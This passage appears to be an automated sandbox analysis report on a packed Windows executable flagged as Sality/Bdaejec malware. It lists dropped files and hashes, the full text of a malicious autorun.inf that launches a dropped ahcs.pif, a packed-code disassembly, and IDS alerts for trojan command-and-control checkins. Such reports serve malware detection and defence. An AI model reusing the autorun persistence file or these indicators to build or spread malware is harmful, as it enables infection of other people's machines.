                                                          SHA-256:B2C202F638284DCA99822379F447FC45100F0EA2AA3E19DBAD8DD47F55ADF033
                                                          SHA-512:458B5103762FAAE5FD47BBEBBA479551DB8D9C3C3E5F9D77671E1D05AF1FE00750D3FA6DFB34C4799245A0402F8446C82B1FFC4890FAA294AA0C6E9976EBF2E6
                                                          Malicious:false
                                                          Preview:.M.4..{.}...Y......r..~.3.d..A......$..a76W.W;.....I:....JFc...,.R_L00r.R+%./....r..K.%.M....w.iKn;.. ...{.H{..];.._..`<..<...M.].....{..F...t5m...b....e....^.D.3.n.C.j.........?..%?!e.Z=.v.Q,.S......DVji#........{.&.f.S..).(..J.<......|*...|..b.

                                                          C:\Users\user\AppData\Local\Temp\winwodun.exe

                                                          Download File
                                                          Process:C:\Users\user\Desktop\a4#Uff09.exe
                                                          File Type:data
                                                          Category:dropped
                                                          Size (bytes):258
                                                          Entropy (8bit):7.284780829056715
                                                          Encrypted:false
                                                          SSDEEP:6:EGGrshSV4EmRJBY9aqgbSKoD9ih7lZDlezcHZ47l7q2w32:EGGAhSuC9albSKa9illezcW7L
                                                          MD5:88D20B23F81FA97A852263FC732277F8
                                                          SHA1:9F739F07E8827D6850593B4358FE4AB0D9A5FF79
                                                          SHA-256:B2C202F638284DCA99822379F447FC45100F0EA2AA3E19DBAD8DD47F55ADF033
                                                          SHA-512:458B5103762FAAE5FD47BBEBBA479551DB8D9C3C3E5F9D77671E1D05AF1FE00750D3FA6DFB34C4799245A0402F8446C82B1FFC4890FAA294AA0C6E9976EBF2E6
                                                          Malicious:false
                                                          Preview:.M.4..{.}...Y......r..~.3.d..A......$..a76W.W;.....I:....JFc...,.R_L00r.R+%./....r..K.%.M....w.iKn;.. ...{.H{..];.._..`<..<...M.].....{..F...t5m...b....e....^.D.3.n.C.j.........?..%?!e.Z=.v.Q,.S......DVji#........{.&.f.S..).(..J.<......|*...|..b.

                                                          C:\Users\user\AppData\Local\Temp\winxcigl.exe

                                                          Download File
                                                          Process:C:\Users\user\Desktop\a4#Uff09.exe
                                                          File Type:data
                                                          Category:dropped
                                                          Size (bytes):258
                                                          Entropy (8bit):7.284780829056715
                                                          Encrypted:false
                                                          SSDEEP:6:EGGrshSV4EmRJBY9aqgbSKoD9ih7lZDlezcHZ47l7q2w32:EGGAhSuC9albSKa9illezcW7L
                                                          MD5:88D20B23F81FA97A852263FC732277F8
                                                          SHA1:9F739F07E8827D6850593B4358FE4AB0D9A5FF79
                                                          SHA-256:B2C202F638284DCA99822379F447FC45100F0EA2AA3E19DBAD8DD47F55ADF033
                                                          SHA-512:458B5103762FAAE5FD47BBEBBA479551DB8D9C3C3E5F9D77671E1D05AF1FE00750D3FA6DFB34C4799245A0402F8446C82B1FFC4890FAA294AA0C6E9976EBF2E6
                                                          Malicious:false
                                                          Preview:.M.4..{.}...Y......r..~.3.d..A......$..a76W.W;.....I:....JFc...,.R_L00r.R+%./....r..K.%.M....w.iKn;.. ...{.H{..];.._..`<..<...M.].....{..F...t5m...b....e....^.D.3.n.C.j.........?..%?!e.Z=.v.Q,.S......DVji#........{.&.f.S..).(..J.<......|*...|..b.

                                                          C:\Users\user\AppData\Local\Temp\winybemy.exe

                                                          Download File
                                                          Process:C:\Users\user\Desktop\a4#Uff09.exe
                                                          File Type:data
                                                          Category:dropped
                                                          Size (bytes):340
                                                          Entropy (8bit):7.428989227311812
                                                          Encrypted:false
                                                          SSDEEP:6:gZJO5bFL66/NU/K/8co34DbynLoaqRQs/Cb9rbJVoHwsrgbFRFhNMod7:gbQFWtG8cxbyLFjb9rbJihrcRFhNMM
                                                          MD5:2516CA1835F985ADEAB21CFBC34FF724
                                                          SHA1:84D5608CFC6ADDA355587C0EC9824879404316EF
                                                          SHA-256:85E67D6B1FD7741E4AF758EE5E108DDE1432D414CBF34B18BAA417044EB8EAC1
                                                          SHA-512:B0D3CF50931C5794A0584895911F15F6F2B44244C55AD0FF75C020C18BC3599D2C736D7608A11AE54F9D369B4718769C726FEBEF37EDDAA76F632E5AB487ADE6
                                                          Malicious:false
                                                          Preview:9.?...h.q.I......;4.\...*CJ.. ..C.gN."..v.v.^].!.Qr...U..RM.......g..T$8..,....Y[f].....'..S..%..8._..n.Dx...&.....a....0=..........2.[.qki.1...0...-wW_.8.:sP.O.&..........8V....^E..?N.H.!Mk<wo.......0v..N.y....z..z...q....I.R8`........S........o.P57..,.n.".c...8....MjD.q-`..m.Xg......u.~..9.p.AQ%cE..z........F..rt...A.-....

                                                          C:\Users\user\AppData\Local\Temp\winygnd.exe

                                                          Download File
                                                          Process:C:\Users\user\Desktop\a4#Uff09.exe
                                                          File Type:data
                                                          Category:dropped
                                                          Size (bytes):340
                                                          Entropy (8bit):7.428989227311812
                                                          Encrypted:false
                                                          SSDEEP:6:gZJO5bFL66/NU/K/8co34DbynLoaqRQs/Cb9rbJVoHwsrgbFRFhNMod7:gbQFWtG8cxbyLFjb9rbJihrcRFhNMM
                                                          MD5:2516CA1835F985ADEAB21CFBC34FF724
                                                          SHA1:84D5608CFC6ADDA355587C0EC9824879404316EF
                                                          SHA-256:85E67D6B1FD7741E4AF758EE5E108DDE1432D414CBF34B18BAA417044EB8EAC1
                                                          SHA-512:B0D3CF50931C5794A0584895911F15F6F2B44244C55AD0FF75C020C18BC3599D2C736D7608A11AE54F9D369B4718769C726FEBEF37EDDAA76F632E5AB487ADE6
                                                          Malicious:false
                                                          Preview:9.?...h.q.I......;4.\...*CJ.. ..C.gN."..v.v.^].!.Qr...U..RM.......g..T$8..,....Y[f].....'..S..%..8._..n.Dx...&.....a....0=..........2.[.qki.1...0...-wW_.8.:sP.O.&..........8V....^E..?N.H.!Mk<wo.......0v..N.y....z..z...q....I.R8`........S........o.P57..,.n.".c...8....MjD.q-`..m.Xg......u.~..9.p.AQ%cE..z........F..rt...A.-....

                                                          C:\Users\user\AppData\Local\Temp\winyqka.exe

                                                          Download File
                                                          Process:C:\Users\user\Desktop\a4#Uff09.exe
                                                          File Type:data
                                                          Category:dropped
                                                          Size (bytes):258
                                                          Entropy (8bit):7.284780829056715
                                                          Encrypted:false
                                                          SSDEEP:6:EGGrshSV4EmRJBY9aqgbSKoD9ih7lZDlezcHZ47l7q2w32:EGGAhSuC9albSKa9illezcW7L
                                                          MD5:88D20B23F81FA97A852263FC732277F8
                                                          SHA1:9F739F07E8827D6850593B4358FE4AB0D9A5FF79
                                                          SHA-256:B2C202F638284DCA99822379F447FC45100F0EA2AA3E19DBAD8DD47F55ADF033
                                                          SHA-512:458B5103762FAAE5FD47BBEBBA479551DB8D9C3C3E5F9D77671E1D05AF1FE00750D3FA6DFB34C4799245A0402F8446C82B1FFC4890FAA294AA0C6E9976EBF2E6
                                                          Malicious:false
                                                          Preview:.M.4..{.}...Y......r..~.3.d..A......$..a76W.W;.....I:....JFc...,.R_L00r.R+%./....r..K.%.M....w.iKn;.. ...{.H{..];.._..`<..<...M.].....{..F...t5m...b....e....^.D.3.n.C.j.........?..%?!e.Z=.v.Q,.S......DVji#........{.&.f.S..).(..J.<......|*...|..b.

                                                          C:\Users\user\AppData\Local\Temp\wxqlq.exe

                                                          Download File
                                                          Process:C:\Users\user\Desktop\a4#Uff09.exe
                                                          File Type:data
                                                          Category:dropped
                                                          Size (bytes):258
                                                          Entropy (8bit):7.284780829056715
                                                          Encrypted:false
                                                          SSDEEP:6:EGGrshSV4EmRJBY9aqgbSKoD9ih7lZDlezcHZ47l7q2w32:EGGAhSuC9albSKa9illezcW7L
                                                          MD5:88D20B23F81FA97A852263FC732277F8
                                                          SHA1:9F739F07E8827D6850593B4358FE4AB0D9A5FF79
                                                          SHA-256:B2C202F638284DCA99822379F447FC45100F0EA2AA3E19DBAD8DD47F55ADF033
                                                          SHA-512:458B5103762FAAE5FD47BBEBBA479551DB8D9C3C3E5F9D77671E1D05AF1FE00750D3FA6DFB34C4799245A0402F8446C82B1FFC4890FAA294AA0C6E9976EBF2E6
                                                          Malicious:false
                                                          Preview:.M.4..{.}...Y......r..~.3.d..A......$..a76W.W;.....I:....JFc...,.R_L00r.R+%./....r..K.%.M....w.iKn;.. ...{.H{..];.._..`<..<...M.].....{..F...t5m...b....e....^.D.3.n.C.j.........?..%?!e.Z=.v.Q,.S......DVji#........{.&.f.S..).(..J.<......|*...|..b.

                                                          C:\Users\user\AppData\Local\Temp\xbsf.exe

                                                          Download File
                                                          Process:C:\Users\user\Desktop\a4#Uff09.exe
                                                          File Type:data
                                                          Category:dropped
                                                          Size (bytes):340
                                                          Entropy (8bit):7.428989227311812
                                                          Encrypted:false
                                                          SSDEEP:6:gZJO5bFL66/NU/K/8co34DbynLoaqRQs/Cb9rbJVoHwsrgbFRFhNMod7:gbQFWtG8cxbyLFjb9rbJihrcRFhNMM
                                                          MD5:2516CA1835F985ADEAB21CFBC34FF724
                                                          SHA1:84D5608CFC6ADDA355587C0EC9824879404316EF
                                                          SHA-256:85E67D6B1FD7741E4AF758EE5E108DDE1432D414CBF34B18BAA417044EB8EAC1
                                                          SHA-512:B0D3CF50931C5794A0584895911F15F6F2B44244C55AD0FF75C020C18BC3599D2C736D7608A11AE54F9D369B4718769C726FEBEF37EDDAA76F632E5AB487ADE6
                                                          Malicious:false
                                                          Preview:9.?...h.q.I......;4.\...*CJ.. ..C.gN."..v.v.^].!.Qr...U..RM.......g..T$8..,....Y[f].....'..S..%..8._..n.Dx...&.....a....0=..........2.[.qki.1...0...-wW_.8.:sP.O.&..........8V....^E..?N.H.!Mk<wo.......0v..N.y....z..z...q....I.R8`........S........o.P57..,.n.".c...8....MjD.q-`..m.Xg......u.~..9.p.AQ%cE..z........F..rt...A.-....

                                                          C:\Users\user\AppData\Local\Temp\xxxrep.exe

                                                          Download File
                                                          Process:C:\Users\user\Desktop\a4#Uff09.exe
                                                          File Type:data
                                                          Category:dropped
                                                          Size (bytes):258
                                                          Entropy (8bit):7.284780829056715
                                                          Encrypted:false
                                                          SSDEEP:6:EGGrshSV4EmRJBY9aqgbSKoD9ih7lZDlezcHZ47l7q2w32:EGGAhSuC9albSKa9illezcW7L
                                                          MD5:88D20B23F81FA97A852263FC732277F8
                                                          SHA1:9F739F07E8827D6850593B4358FE4AB0D9A5FF79
                                                          SHA-256:B2C202F638284DCA99822379F447FC45100F0EA2AA3E19DBAD8DD47F55ADF033
                                                          SHA-512:458B5103762FAAE5FD47BBEBBA479551DB8D9C3C3E5F9D77671E1D05AF1FE00750D3FA6DFB34C4799245A0402F8446C82B1FFC4890FAA294AA0C6E9976EBF2E6
                                                          Malicious:false
                                                          Preview:.M.4..{.}...Y......r..~.3.d..A......$..a76W.W;.....I:....JFc...,.R_L00r.R+%./....r..K.%.M....w.iKn;.. ...{.H{..];.._..`<..<...M.].....{..F...t5m...b....e....^.D.3.n.C.j.........?..%?!e.Z=.v.Q,.S......DVji#........{.&.f.S..).(..J.<......|*...|..b.

                                                          C:\Windows\appcompat\Programs\Amcache.hve

                                                          Download File
                                                          Process:C:\Users\user\AppData\Local\Temp\plgMeM.exe
                                                          File Type:MS Windows registry file, NT/2000 or above
                                                          Category:dropped
                                                          Size (bytes):1835008
                                                          Entropy (8bit):4.413946187112846
                                                          Encrypted:false
                                                          SSDEEP:6144:jcifpi6ceLPL9skLmb0moSWSPtaJG8nAgex285i2MMhA20X4WABlGuNb5+:Yi58oSWIZBk2MM6AFBZo
                                                          MD5:30B804DB615ADF3857D417A3149A6A81
                                                          SHA1:9C7A04B521F4B4415F8D45D6369E642B0709AC71
                                                          SHA-256:8784B3ED8C5D19AF7F27967DA376D26FDA5C052B18777B46731D09324D13C7C4
                                                          SHA-512:C570591E8DC8AABF93CAA721EF68B859C1DB528A3CE277013D48AE16CBE594BEBC16969FE77B5E656DDBA0EBF5CD8C0E5E1055A9CC0DD28CACC9A40F3FCDDB0C
                                                          Malicious:false
                                                          Preview:regfE...E....\.Z.................... ...........\.A.p.p.C.o.m.p.a.t.\.P.r.o.g.r.a.m.s.\.A.m.c.a.c.h.e...h.v.e....c...b...#.......c...b...#...........c...b...#......rmtmrK<.................................................................................................................................................................................................................................................................................................................................................t.*.........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

                                                          C:\Windows\system.ini

                                                          Download File
                                                          Process:C:\Users\user\Desktop\a4#Uff09.exe
                                                          File Type:Windows SYSTEM.INI
                                                          Category:dropped
                                                          Size (bytes):255
                                                          Entropy (8bit):5.271837275869297
                                                          Encrypted:false
                                                          SSDEEP:6:aQ44VvYkDyyp3BYf1fyBcfjfKvcie0xTqFtPin:F4Yv7yk3OUBq82wqFtPin
                                                          MD5:1439BF0382CC8ED51F1A2DD4262500DE
                                                          SHA1:E1AFAD65661011AF4B0C83BD4393E47DA461F699
                                                          SHA-256:7C3D53634A740B4AA9F94A0C0D3714AC199427AEE9975D0446245040C500DF1C
                                                          SHA-512:34D6B044226238AD8494F7D539F8F16757E1FA781C786C07DFEE331C4D01DA808C33D87B7D8C9B8C709E41BDF22490D10D198CCEBBD32F3D827883F869575E8A
                                                          Malicious:false
                                                          Preview:; for 16-bit app support..[386Enh]..woafont=dosapp.fon..EGA80WOA.FON=EGA80WOA.FON..EGA40WOA.FON=EGA40WOA.FON..CGA80WOA.FON=CGA80WOA.FON..CGA40WOA.FON=CGA40WOA.FON....[drivers]..wave=mmdrv.dll..timer=timer.drv....[mci]..[MCIDRV_VER]..DEVICEMB=42950784062..

                                                          C:\ahcs.pif

                                                          Download File
                                                          Process:C:\Users\user\Desktop\a4#Uff09.exe
                                                          File Type:PE32 executable (GUI) Intel 80386, for MS Windows
                                                          Category:dropped
                                                          Size (bytes):103140
                                                          Entropy (8bit):6.648822083112567
                                                          Encrypted:false
                                                          SSDEEP:1536:R6IERy3wGegXn9oN/KCT74XqJZBqi+fHuCZcs+RJEdNzWmm:R+GegXnSN/7YqJZBOOccBR6Wm
                                                          MD5:253F9F04052E1E7DE6EE8F8F29ED1E97
                                                          SHA1:9D36B7F9EFD6A96CC50DA32CA78FC6F6811D7AE2
                                                          SHA-256:E8A41B0FB4FFD0B505221CFB1B769376E0FE092EFB976D565924B415AFFE6F66
                                                          SHA-512:22EECCD0AB3143C3EFA4194B8F1BBF2B6C2C567146D29405732B320E48E51D5E399B6C4D5BECDEE285350BC4F0FA2D17A04F9B7E80DF495B6DE4366385945516
                                                          Malicious:true
                                                          Yara Hits:
                                                          • Rule: INDICATOR_EXE_Packed_SimplePolyEngine, Description: Detects executables packed with Sality Polymorphic Code Generator or Simple Poly Engine or Sality, Source: C:\ahcs.pif, Author: ditekSHen
                                                          Preview:MZ..........PE..L...yrf<[LordPE]....................@.............@..........................@..............................................`...<....................................................................................................................text....0.......".................. ...............................`...<....................................................................................................................text............................... ...........................................H.e.l.l.o. .w.o.r.l.d.!.....C.a.p.t.i.o.n............_......W...i.j.....@................................................................................}.ExitProcess.KERNEL32.dll....MessageBoxW.USER32.dll........................................................................................................................................................................................................................................................................

                                                          C:\autorun.inf

                                                          Download File
                                                          Process:C:\Users\user\Desktop\a4#Uff09.exe
                                                          File Type:Microsoft Windows Autorun file
                                                          Category:dropped
                                                          Size (bytes):230
                                                          Entropy (8bit):5.420636585406752
                                                          Encrypted:false
                                                          SSDEEP:6:ngGiA9HORd2jWyOYV6tr1i4tXPVRNyROIV:gnA9HORd2jrVUi4tXzNUV
                                                          MD5:A833FAC9FB3D2C047E0045852DBDF119
                                                          SHA1:0C9A867031ACBE768010467914FB4EDAAB045E3E
                                                          SHA-256:83571D42B095C169EC491728D2930E8487B3D82F58A5F293CD27311531C7FDBC
                                                          SHA-512:402B859944B1F552DA86A7EA3D99C45637BE03E3314C99C954B36D5B032811C6F23A9069476A9787C77EEAECC3DAE92C60934C5580D87255B0635100EDDF524A
                                                          Malicious:true
                                                          Preview:[AutoRun]..;crmEWCinseDIjrgiYaVsfTktxueyt ..;atfipQ ..sHELL\opEn\deFAUlT=1..shElL\OpEN\CommaND= ahcs.pif....;..OpEN = ahcs.pif..;iYpvliJyjRrduqacwb VPYE..Shell\Explore\COMMANd=ahcs.pif..;NDsth..SHeLL\AUToplay\comMand = ahcs.pif..

                                                          Static File Info

                                                          General

                                                          File type:PE32 executable (GUI) Intel 80386, for MS Windows, UPX compressed
                                                          Entropy (8bit):7.888620150555364
                                                          TrID:
                                                          • Win32 Executable (generic) a (10002005/4) 99.66%
                                                          • UPX compressed Win32 Executable (30571/9) 0.30%
                                                          • Generic Win/DOS Executable (2004/3) 0.02%
                                                          • DOS Executable Generic (2002/1) 0.02%
                                                          • Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.00%
                                                          File name:a4#Uff09.exe
                                                          File size:2'915'328 bytes
                                                          MD5:75d53417d21654acbe4565e04a5e3353
                                                          SHA1:18f996da80eee26b0fe48da445586f190aa710bd
                                                          SHA256:ecbc34e6b5739a37dc046dfecf8e067eff30b4d1a4bf7531147286fbb45e1be5
                                                          SHA512:91231190df5e55dd5fc330dd39651998206bdae2de91c0274e9a9c3d1c856aaef4031b3a24356c1a4f41abd6f017714f8e45112025f01a24e421747700223307
                                                          SSDEEP:49152:5XWtGqeLA3MUwfOBIDGVV99pM78Q/9tf7D/0aJoYKsaABNTHpSNk50AjOOZALIE:5mreLKyfO24VRM78Q/9hEeobnABNTANF
                                                          TLSH:F6D5337151914CA7F1A6DC30D67A3DE5C806292A6A81357B6D0FCBFDA23D7C218C298F
                                                          File Content Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$..........g..l4..l4..l4r.b4..l4..`4..l4...4..l4...4..l4..m4..l4..f4;.l4..g4..l4..g4..l4..f4..l4..l4..l46.j4..l4Rich..l4...............

                                                          File Icon

                                                          Icon Hash:33e8f499f8ec6933

                                                          Static PE Info

                                                          General

                                                          Entrypoint:0xbd3000
                                                          Entrypoint Section:u
                                                          Digitally signed:false
                                                          Imagebase:0x400000
                                                          Subsystem:windows gui
                                                          Image File Characteristics:RELOCS_STRIPPED, EXECUTABLE_IMAGE, LINE_NUMS_STRIPPED, LOCAL_SYMS_STRIPPED, 32BIT_MACHINE
                                                          DLL Characteristics:
                                                          Time Stamp:0x605489D5 [Fri Mar 19 11:24:05 2021 UTC]
                                                          TLS Callbacks:
                                                          CLR (.Net) Version:
                                                          OS Version Major:4
                                                          OS Version Minor:0
                                                          File Version Major:4
                                                          File Version Minor:0
                                                          Subsystem Version Major:4
                                                          Subsystem Version Minor:0
                                                          Import Hash:ae9ac71c19447114f5d28ec390e79bbc

                                                          Entrypoint Preview

                                                          Instruction
                                                          xchg cl, bl
                                                          push 00045FAFh
                                                          push esi
                                                          mov bl, CBh
                                                          mov ch, 0000004Ah
                                                          imul edx, ebx
                                                          xchg ebp, ebp
                                                          jno 00007FB9CD453CBBh
                                                          mov dh, FFFFFFFDh
                                                          imul ebp, ebp, A028DAAFh
                                                          mov ch, al
                                                          cmp eax, 440DF32Fh
                                                          xchg dh, dh
                                                          call 00007FB9CD453D2Bh
                                                          xchg edi, ebx
                                                          mov al, dh
                                                          lea edx, dword ptr [68AAC67Ch]
                                                          add ebx, ebx
                                                          mov eax, edi
                                                          mov bh, 0000004Ah
                                                          mov ebx, E525367Eh
                                                          xchg ebx, ebx
                                                          sub ecx, ecx
                                                          mov bl, ah
                                                          sbb al, 87h
                                                          mov ecx, 00000757h
                                                          test bh, ah
                                                          mov edx, 93F1777Fh
                                                          mov bl, ah
                                                          xor ecx, 000001F5h
                                                          test ebp, esi
                                                          jne 00007FB9CD453CB5h
                                                          imul ebx, eax
                                                          dec esi
                                                          and bl, cl
                                                          sub ecx, 00000ED8h
                                                          mov dl, 64h
                                                          test dh, ch
                                                          add ecx, 00000ED7h
                                                          mov bl, dl
                                                          xchg dl, al
                                                          imul ebp, edx, 6C6B1AB3h
                                                          test ebp, 5E11DB65h
                                                          cmp edi, eax
                                                          cmp al, B6h
                                                          mov al, DFh
                                                          imul esi, eax, 8CC0B9C7h
                                                          cmp ecx, 000002B9h
                                                          jg 00007FB9CD453C73h
                                                          pop edi
                                                          mov ch, cl
                                                          mov ebp, ebp
                                                          jbe 00007FB9CD453CB9h
                                                          mov ecx, edi
                                                          mov ch, 00000035h
                                                          mov bh, bh
                                                          push ebx
                                                          push ecx
                                                          xchg ebp, edx
                                                          jmp 00007FB9CD453CBDh
                                                          adc eax, F4E9828Dh
                                                          test eax, 4FFF51D1h
                                                          push ebx
                                                          push ebx
                                                          mov cl, bl
                                                          jbe 00007FB9CD453CB8h

                                                          Rich Headers

                                                          Programming Language:
                                                          • [ C ] VS98 (6.0) SP6 build 8804
                                                          • [C++] VS98 (6.0) SP6 build 8804
                                                          • [C++] VS98 (6.0) build 8168
                                                          • [ C ] VS98 (6.0) build 8168
                                                          • [EXP] VC++ 6.0 SP5 build 8804

                                                          Data Directories

                                                          NameVirtual AddressVirtual Size Is in Section
                                                          IMAGE_DIRECTORY_ENTRY_EXPORT0x00x0
                                                          IMAGE_DIRECTORY_ENTRY_IMPORT0x7c0b140x2a4.rsrc
                                                          IMAGE_DIRECTORY_ENTRY_RESOURCE0x7bf0000x1b14.rsrc
                                                          IMAGE_DIRECTORY_ENTRY_EXCEPTION0x00x0
                                                          IMAGE_DIRECTORY_ENTRY_SECURITY0x00x0
                                                          IMAGE_DIRECTORY_ENTRY_BASERELOC0x00x0
                                                          IMAGE_DIRECTORY_ENTRY_DEBUG0x00x0
                                                          IMAGE_DIRECTORY_ENTRY_COPYRIGHT0x00x0
                                                          IMAGE_DIRECTORY_ENTRY_GLOBALPTR0x00x0
                                                          IMAGE_DIRECTORY_ENTRY_TLS0x00x0
                                                          IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG0x00x0
                                                          IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT0x00x0
                                                          IMAGE_DIRECTORY_ENTRY_IAT0x00x0
                                                          IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT0x00x0
                                                          IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR0x00x0
                                                          IMAGE_DIRECTORY_ENTRY_RESERVED0x00x0

                                                          Sections

                                                          NameVirtual AddressVirtual SizeRaw SizeMD5Xored PEZLIB ComplexityFile TypeEntropyCharacteristics
                                                          UPX00x10000x5210000x0d41d8cd98f00b204e9800998ecf8427eunknownunknownunknownunknownIMAGE_SCN_CNT_UNINITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
                                                          UPX10x5220000x29d0000x29c8004ed7cfbca63578efd13df3bfa5d2ba9dunknownunknownunknownunknownIMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
                                                          .rsrc0x7bf0000x140000x14000cca7053a535807f27f20f3a49d74adccFalse0.95186767578125data7.870196995228896IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
                                                          u0x7d30000x170000x17000aef9c87c97bc149fd643a684daf309f0False0.9210788892663043data7.7407751408617775IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE

                                                          Resources

                                                          NameRVASizeTypeLanguageCountryZLIB Complexity
                                                          TEXTINCLUDE0x7b6bf40xbNon-ISO extended-ASCII text, with no line terminatorsChineseChina1.8181818181818181
                                                          TEXTINCLUDE0x7b6c000x16dataChineseChina1.4090909090909092
                                                          TEXTINCLUDE0x7b6c180x151dataChineseChina1.032640949554896
                                                          RT_CURSOR0x7b6d6c0x134dataChineseChina1.0357142857142858
                                                          RT_CURSOR0x7b6ea00x134dataChineseChina1.0357142857142858
                                                          RT_CURSOR0x7b6fd40x134dataChineseChina1.0357142857142858
                                                          RT_CURSOR0x7b71080xb4dataChineseChina1.0611111111111111
                                                          RT_BITMAP0x7b71bc0x16cPGP Secret Sub-key -ChineseChina1.0302197802197801
                                                          RT_BITMAP0x7b73280x248dataChineseChina1.018835616438356
                                                          RT_BITMAP0x7b75700x144dataChineseChina1.0339506172839505
                                                          RT_BITMAP0x7b76b40x158dataChineseChina1.0319767441860466
                                                          RT_BITMAP0x7b780c0x158dataChineseChina1.0319767441860466
                                                          RT_BITMAP0x7b79640x158dataChineseChina1.0319767441860466
                                                          RT_BITMAP0x7b7abc0x158dataChineseChina1.0319767441860466
                                                          RT_BITMAP0x7b7c140x158dataChineseChina1.0319767441860466
                                                          RT_BITMAP0x7b7d6c0x158dataChineseChina1.0319767441860466
                                                          RT_BITMAP0x7b7ec40x158dataChineseChina1.0319767441860466
                                                          RT_BITMAP0x7b801c0x158dataChineseChina1.0319767441860466
                                                          RT_BITMAP0x7b81740x5e4dataChineseChina1.007294429708223
                                                          RT_BITMAP0x7b87580xb8dataChineseChina1.059782608695652
                                                          RT_BITMAP0x7b88100x16cdataChineseChina1.0302197802197801
                                                          RT_BITMAP0x7b897c0x144dataChineseChina1.0339506172839505
                                                          RT_ICON0x7b8ac00x2e8dataChineseChina1.0147849462365592
                                                          RT_ICON0x7b8da80x128dataChineseChina1.037162162162162
                                                          RT_ICON0x7bfbf80x8a8Device independent bitmap graphic, 32 x 64 x 8, image size 1024, 256 important colors0.848826714801444
                                                          RT_MENU0x7b97780xcdataChineseChina1.6666666666666667
                                                          RT_MENU0x7b97840x284dataChineseChina1.0170807453416149
                                                          RT_DIALOG0x7b9a080x98dataChineseChina1.0723684210526316
                                                          RT_DIALOG0x7b9aa00x17adataChineseChina1.029100529100529
                                                          RT_DIALOG0x7b9c1c0xfadataChineseChina1.044
                                                          RT_DIALOG0x7b9d180xeadataChineseChina1.047008547008547
                                                          RT_DIALOG0x7b9e040x8aedataChineseChina0.9792979297929792
                                                          RT_DIALOG0x7ba6b40xb2dataChineseChina1.0617977528089888
                                                          RT_DIALOG0x7ba7680xccdataChineseChina1.0196078431372548
                                                          RT_DIALOG0x7ba8340xb2dataChineseChina1.0
                                                          RT_DIALOG0x7ba8e80xe2dataChineseChina1.0486725663716814
                                                          RT_DIALOG0x7ba9cc0x18cdataChineseChina1.0277777777777777
                                                          RT_STRING0x7bab580x50dataChineseChina1.1375
                                                          RT_STRING0x7baba80x2cdataChineseChina1.25
                                                          RT_STRING0x7babd40x78dataChineseChina1.0916666666666666
                                                          RT_STRING0x7bac4c0x1c4dataChineseChina1.0243362831858407
                                                          RT_STRING0x7bae100x12adataChineseChina1.0369127516778522
                                                          RT_STRING0x7baf3c0x146OpenPGP Secret KeyChineseChina1.0337423312883436
                                                          RT_STRING0x7bb0840x40dataChineseChina1.171875
                                                          RT_STRING0x7bb0c40x64dataChineseChina1.11
                                                          RT_STRING0x7bb1280x1d8dataChineseChina1.0233050847457628
                                                          RT_STRING0x7bb3000x114dataChineseChina1.039855072463768
                                                          RT_STRING0x7bb4140x24COM executable for DOSChineseChina1.3055555555555556
                                                          RT_GROUP_CURSOR0x7bb4380x14dataChineseChina1.45
                                                          RT_GROUP_CURSOR0x7bb44c0x14dataChineseChina1.45
                                                          RT_GROUP_CURSOR0x7bb4600x22dataChineseChina1.2647058823529411
                                                          RT_GROUP_ICON0x7c04a40x14data1.25
                                                          RT_GROUP_ICON0x7bb4980x14dataChineseChina1.4
                                                          RT_GROUP_ICON0x7bb4ac0x14dataChineseChina1.45
                                                          RT_VERSION0x7c04bc0x398OpenPGP Public KeyChineseChina0.5021739130434782
                                                          RT_MANIFEST0x7c08580x2b9XML 1.0 document, ASCII text, with very long lines (697), with no line terminators0.5279770444763271

                                                          Imports

                                                          DLLImport
                                                          ADVAPI32.dllRegCloseKey
                                                          COMCTL32.dll
                                                          comdlg32.dllChooseFontA
                                                          GDI32.dllEscape
                                                          KERNEL32.DLLLoadLibraryA, ExitProcess, GetProcAddress, VirtualProtect
                                                          ole32.dllOleInitialize
                                                          OLEAUT32.dllLoadTypeLib
                                                          SHELL32.dllShellExecuteA
                                                          USER32.dllGetDC
                                                          WINMM.dllwaveOutOpen
                                                          WINSPOOL.DRVOpenPrinterA
                                                          WS2_32.dllWSAAsyncSelect

                                                          Possible Origin

                                                          Language of compilation systemCountry where language is spokenMap
                                                          ChineseChina

                                                          Network Behavior

                                                          Snort IDS Alerts

                                                          TimestampProtocolSIDMessageSource PortDest PortSource IPDest IP
                                                          07/05/24-08:03:54.079676TCP2804830ETPRO TROJAN Win32.Sality.bh Checkin 24999980192.168.2.744.221.84.105
                                                          07/05/24-08:00:07.193888UDP2838522ETPRO TROJAN Backdoor.Win32/Bdaejec.A CnC Domain in DNS Lookup4927453192.168.2.71.1.1.1
                                                          07/05/24-08:00:07.750441TCP2807908ETPRO TROJAN Backdoor.Win32/Bdaejec.A Checkin49706799192.168.2.744.221.84.105
                                                          07/05/24-08:03:07.323406TCP2804830ETPRO TROJAN Win32.Sality.bh Checkin 24993880192.168.2.744.221.84.105
                                                          07/05/24-08:00:45.236101TCP2804830ETPRO TROJAN Win32.Sality.bh Checkin 24975980192.168.2.754.244.188.177
                                                          07/05/24-08:03:20.604250TCP2804830ETPRO TROJAN Win32.Sality.bh Checkin 24995580192.168.2.754.244.188.177
                                                          07/05/24-08:01:39.674041TCP2804830ETPRO TROJAN Win32.Sality.bh Checkin 24982580192.168.2.744.221.84.105
                                                          07/05/24-08:00:25.972827TCP2804830ETPRO TROJAN Win32.Sality.bh Checkin 24973080192.168.2.744.221.84.105
                                                          07/05/24-08:03:06.577493TCP2804830ETPRO TROJAN Win32.Sality.bh Checkin 24993780192.168.2.754.244.188.177
                                                          07/05/24-08:01:04.989762TCP2804830ETPRO TROJAN Win32.Sality.bh Checkin 24978280192.168.2.737.230.104.89
